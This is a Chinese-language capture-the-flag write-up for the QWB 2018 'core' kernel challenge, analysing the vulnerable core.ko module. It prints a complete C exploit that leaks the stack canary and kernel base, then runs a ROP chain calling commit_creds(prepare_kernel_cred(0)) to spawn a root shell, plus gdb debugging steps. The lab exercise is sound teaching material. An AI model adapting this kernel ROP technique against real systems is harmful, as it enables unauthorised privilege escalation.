强网杯2018 - core
这里主要记录一下做这个题的全流程、遇到的困难、解决方法,供后来者参考,同时也加深自己的记忆。
所以本篇没有知识,只是做题过程
参考文献
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:强网杯2018-core
题解
解压
首先拿到题目第一步是把core.cpio解压出来看看里面的东西。
cmd
cpio -idm < ./core.cpio
但是报错了

如图所示,这是因为他并不是cpio格式,需要先gunzip一下
$ mv core.cpio core.cpio.gz
$ gunzip core.cpio.gz
查看init
在解压出的文件夹里有init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
可以看到有insmod /core.ko,那后门程序大概率就是他了。
查看程序
可以先查看ioctl函数,也就是core_ioctl。
void __fastcall core_ioctl(__int64 a1, int op, __int64 reg1)
{
switch ( op )
{
case 0x6677889B:
core_read(reg1);
break;
case 0x6677889C:
printk(&unk_2CD);
off = reg1;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(reg1);
break;
}
}
可以看到是一个菜单,对core_ioctl在ida里按x交叉引用可以找到core_fops

有什么用就算是前置知识了,自行理解,那么这里可以看到还有一个core_write,说明能直接调用write,查看write。
void __fastcall core_write(__int64 fd, __int64 data, unsigned __int64 len)
{
printk(&unk_215);
if ( len > 0x800 || copy_from_user(&name, data, len) )
printk(&unk_230);
}
发现是一个写入到name的操作。
继续看ioctl
void __fastcall core_read(__int64 reg1)
{
char *kk; // rdi
__int64 n16; // rcx
char str[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+40h] [rbp-10h]
v5 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
kk = str;
for ( n16 = 16; n16; --n16 )
{
*(_DWORD *)kk = 0;
kk += 4;
}
strcpy(str, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(reg1, &str[off], 0x40) )
__asm { swapgs }
}
这里off可控,那么可以进行对canary和内核地址的泄露。
void __fastcall core_copy_func(__int64 reg1)
{
_QWORD buf[10]; // [rsp+0h] [rbp-50h] BYREF
buf[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( reg1 > 0x3F )
printk(&unk_2A1);
else
qmemcpy(buf, &name, (unsigned __int16)reg1);
}
这里有整型溢出,然后可以进行ROP
那么思路就是先泄露canary,然后rop提权。
撰写脚本
内核题目用c语言写脚本
这里直接给出脚本,之后会一一解释
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid()){
system("/bin/sh");
}
else{
puts("[*]spawn shell error!");
}
exit(0);
}
// 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
int main(){
save_status();
int sh = open("/proc/core",2);
if(sh < 0){
printf("文件打开错误!\n");
exit(0);
}
printf("文件打开成功!\n");
char buf[0x50];
ioctl(sh, 0x6677889C, 0x40);
ioctl(sh, 0x6677889B, buf);
size_t canary = ((size_t*) buf)[0];
size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
printf("canary : %lx\n",canary);
printf("kernel_base : %lx\n",kernel_base);
size_t commit_creds = kernel_base + 0x9C8E0;
size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
size_t pop_rdi = kernel_base + 0x00b2f;
size_t pop_rdx = kernel_base + 0xa0f49;
size_t pop_rcx = kernel_base + 0x21e53;
size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a;
size_t swapgs_popfq_ret = kernel_base + 0xa012da;
size_t iretq_ret = kernel_base + 0x50ac2;
size_t rop[0x100];
int i = 0;
for (i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rcx;
rop[i++] = MOV_RDI_RAX_CALL_RDX;
rop[i++] = commit_creds;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp + 8; // rsp
rop[i++] = user_ss; // ss
printf("rop ok!\n");
write(sh, rop, 0x800);
printf("write ok!\n");
ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));
printf("copy ok!\n");
return 0;
}
编译使用静态编译
gcc ./exp.c -o exp -static -masm=intel
打包运行
如何把exp塞进内核运行环境呢?
和init的同目录下存在gen_cpio.sh的文件,这个就是用来打包的。
./gen_cpio.sh ../core.cpio
运行则是直接运行start.sh文件即可。
调试
怎么调试呢?
这里需要先把init中setsid /bin/cttyhack setuidgid 1000 /bin/sh变为setsid /bin/cttyhack setuidgid 0 /bin/sh咱门需要高权限来调试。
在start.sh中加入-s参数。
之后在运行环境中执行
cat /sys/module/core/sections/.text
便可以获得core.ko的test段地址,那么使用如下sh脚本
gdb \
-ex "add-symbol-file $1 $2" \
-ex "target remote localhost:1234" \
-ex "set debug kernel" \
-ex "b* core_copy_func+0x3b" \
-ex "c" \
使用只需要 ./gdb.sh ./core.ko [cat的值]即可启动pwngdb
我的pwngdb不能ni和si,所以只能一点一点打断点调试
exp详解
到这里大概就可以自己做了,可以先试着自己调试。
接下来是exp的详解
save_status();
// 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
注释也写了,是用来保存用户态数据的,因为在rop执行完返回到用户态需要用到这些参数。
int sh = open("/proc/core",2);
if(sh < 0){
printf("文件打开错误!\n");
exit(0);
}
printf("文件打开成功!\n");
对于/proc/core,为什么在proc和为什么打开它,这里只需把https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/ 看完自会理解。
char buf[0x50];
ioctl(sh, 0x6677889C, 0x40);
ioctl(sh, 0x6677889B, buf);
size_t canary = ((size_t*) buf)[0];
size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
printf("canary : %lx\n",canary);
printf("kernel_base : %lx\n",kernel_base);
泄露canary和内核基地址,这里主要看0x1dd6d1偏移的得来。
使用程序输出后可以使用cat /proc/kallsyms | grep " _text\| startup_64\| startup_32"来查看内核地址。
之后相减即可得到偏移。
size_t commit_creds = kernel_base + 0x9C8E0;
size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
size_t pop_rdi = kernel_base + 0x00b2f;
size_t pop_rdx = kernel_base + 0xa0f49;
size_t pop_rcx = kernel_base + 0x21e53;
size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a;
size_t swapgs_popfq_ret = kernel_base + 0xa012da;
size_t iretq_ret = kernel_base + 0x50ac2;
size_t rop[0x100];
int i = 0;
for (i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rcx;
rop[i++] = MOV_RDI_RAX_CALL_RDX;
rop[i++] = commit_creds;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp + 8; // rsp
rop[i++] = user_ss; // ss
printf("rop ok!\n");
write(sh, rop, 0x800);
printf("write ok!\n");
ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));
printf("copy ok!\n");
栈溢出打ROP,执行commit_creds(prepare_kernel_cred(NULL)),片段的偏移可以查看vmlinux,函数直接放到IDA中查看。
完结
但这里就算是完事了,总的来说刚开始跟用户态rop还是大致上一样的。